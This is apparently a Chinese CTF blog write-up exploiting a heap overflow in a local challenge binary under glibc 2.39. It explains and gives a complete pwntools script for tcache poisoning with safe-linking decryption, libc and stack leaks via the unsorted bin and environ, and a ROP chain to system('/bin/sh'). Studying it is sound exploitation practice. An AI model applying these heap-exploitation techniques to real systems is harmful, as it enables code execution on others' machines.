Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

理解程序

checksec:

开启了全保护 64位

IDA64查看,标记函数:

add函数:

正常的malloc

edit:

未限制编辑字节数,存在堆溢出

show:

正常的show出来

delete:

将free指针给清零,也没有什么漏洞

同时:

输入5会跳转到一个函数

这道题的libc版本为2.39,版本较高,存在一个堆溢出,想法是先利用堆溢出泄露堆地址,再用堆地址得到unsorted bin泄露libc 再借助libc的environ泄露栈地址修改返回的函数 获得shell

先是利用堆溢出泄露堆地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0, 0x18)
add(1, 0x20)
add(2, 0x100)
add(3, 0x100)
#pause()
edit(0, b'a' * 0x18 + p8(0xf1))

delete(1)
add(1, 0xe0)
delete(3) #let edited fd point to some addr
delete(2)
show(1)
#pause()
heap_base = u64(p.recv(6).ljust(8, b'\x00')) << 12
print(hex(heap_base))
#pause()

利用堆溢出修改chunk1的size位 利用堆块重叠把位于tcache的chunk2的加密堆地址泄露出来 再解密

得到了堆地址,也相当于得到了tcache_perthread_struct的位置,接下来就再利用堆溢出修改chunk2的fd指向,来申请到该位置的chunk:

1
2
3
4
5
6
7
payload = b'a' * (0x20) + p64(0) + p64(0xf1) + p64(((heap_base) >> 12) ^ (heap_base + 0x10))
edit(1, payload)
#pause()
add(4, 0x80)
add(5, 0x100)
#pause()
add(6, 0x100)

此时chunk6为tcache_perthread_struct的地址

接下来是泄露libc的环节,通过chunk6修改0x80的tcache bin为满并且将0x90大小的堆地址设置为一个空区域,方便接下来泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload2 = flat({8:0x0007000000000000,0x80+(9-2)*8:heap_base+0x500},filler=b'\x00') 
#edit: count:0x80->7 entries:0x90 -> heap_base+0x500 and also moved top chunk
edit(6, payload2)
#pause()
add(7, 0x10) #add chunk to (heap_base+0x500) + 0x90 isolate deleted chunk4
#(because after editing, top chunk also moved)
#pause()
delete(4) #put (heap_base+0x500) ~ 0x90's chunk to unsorted bin
#pause()
add(8, 0x80)
#pause()
edit(6, b'\x00' * 0x101)
show(8)
p.recv(16)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x203b20
print(hex(libc_base))
libc.address = libc_base
addr = libc.sym['environ'] - 0x6678

然后是利用environ泄露栈地址,直接再次修改chunk6的entries为environ一块就行:

1
2
3
4
5
6
7
8
9
payload3 = flat({8:0x0001000000000000,0x80+(9-2)*8:libc.sym['environ']-0x6678},filler=b'\x00')
edit(6, payload3)
#edit 0x80's entries: environ-0x6678 counts:?
#pause()
add(9, 0x80) #malloc environ-0x6678(stack addr)
show(9) #show stack addr
stack_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x120
#edit before exit's ret stack
print(hex(stack_addr))

顺便找出泄露的栈地址和要修改的退出函数的偏移

最后是利用得到的栈地址偏移再次改entries,往其中写入rop链(注意堆地址申请要求16字节对齐,要补齐)

总exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

p = process('./one')
libc = ELF('./libc.so.6')
context(arch='amd64',log_level='debug')
def add(idx, size):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b'idx: ', str(idx))
p.sendlineafter(b'size: ' , str(size))

def delete(index):
p.sendlineafter(b'> ' , b'2')
p.sendlineafter(b'idx: ' , str(index))

def edit(index,message):
p.sendlineafter(b'> ' , b'4')
p.sendlineafter(b'idx: ' , str(index))
p.sendlineafter(b'data: ' , message)

def show(index):
p.sendlineafter(b'> ' , b'3')
p.sendlineafter(b'idx: ' , str(index))

gdb.attach(p)

add(0, 0x18)
add(1, 0x20)
add(2, 0x100)
add(3, 0x100)
#pause()
edit(0, b'a' * 0x18 + p8(0xf1))

delete(1)
add(1, 0xe0)
delete(3) #let edited fd point to some addr
delete(2)
show(1)
#pause()
heap_base = u64(p.recv(6).ljust(8, b'\x00')) << 12
print(hex(heap_base))
#pause()
payload = b'a' * (0x20) + p64(0) + p64(0xf1) + p64(((heap_base) >> 12) ^ (heap_base + 0x10))
edit(1, payload)
#pause()
add(4, 0x80)
add(5, 0x100)
#pause()
add(6, 0x100)

payload2 = flat({8:0x0007000000000000,0x80+(9-2)*8:heap_base+0x500},filler=b'\x00')
#edit: count:0x80->7 entries:0x90 -> heap_base+0x500 and also moved top chunk
edit(6, payload2)
#pause()
add(7, 0x10) #add chunk to (heap_base+0x500) + 0x90 isolate deleted chunk4
#(because after editing, top chunk also moved)
#pause()
delete(4) #put (heap_base+0x500) ~ 0x90's chunk to unsorted bin
#pause()
add(8, 0x80)
#pause()
edit(6, b'\x00' * 0x101)
show(8)
p.recv(16)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x203b20
print(hex(libc_base))
libc.address = libc_base
addr = libc.sym['environ'] - 0x6678
print(hex(addr))
#pause()
payload3 = flat({8:0x0001000000000000,0x80+(9-2)*8:libc.sym['environ']-0x6678},filler=b'\x00')
edit(6, payload3)
#edit 0x80's entries: environ-0x6678 counts:?
#pause()
add(9, 0x80) #malloc environ-0x6678(stack addr)
show(9) #show stack addr
stack_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x120
#edit before exit's ret stack
print(hex(stack_addr))
#pause()
payload4 = flat({8:0x0001000000000000,0x80+(9-2)*8:(stack_addr - 8)},filler=b'\x00')
edit(6, payload4)

add(10, 0x80)
rdi = 0x000000000010f75b+libc_base
ret = libc_base + 0x2882f

payload4 = p64(0)+p64(rdi)+p64(next(libc.search(b'/bin/sh\x00')))+p64(ret)+p64(libc.sym['system'])

edit(10, payload4)

p.interactive()

评论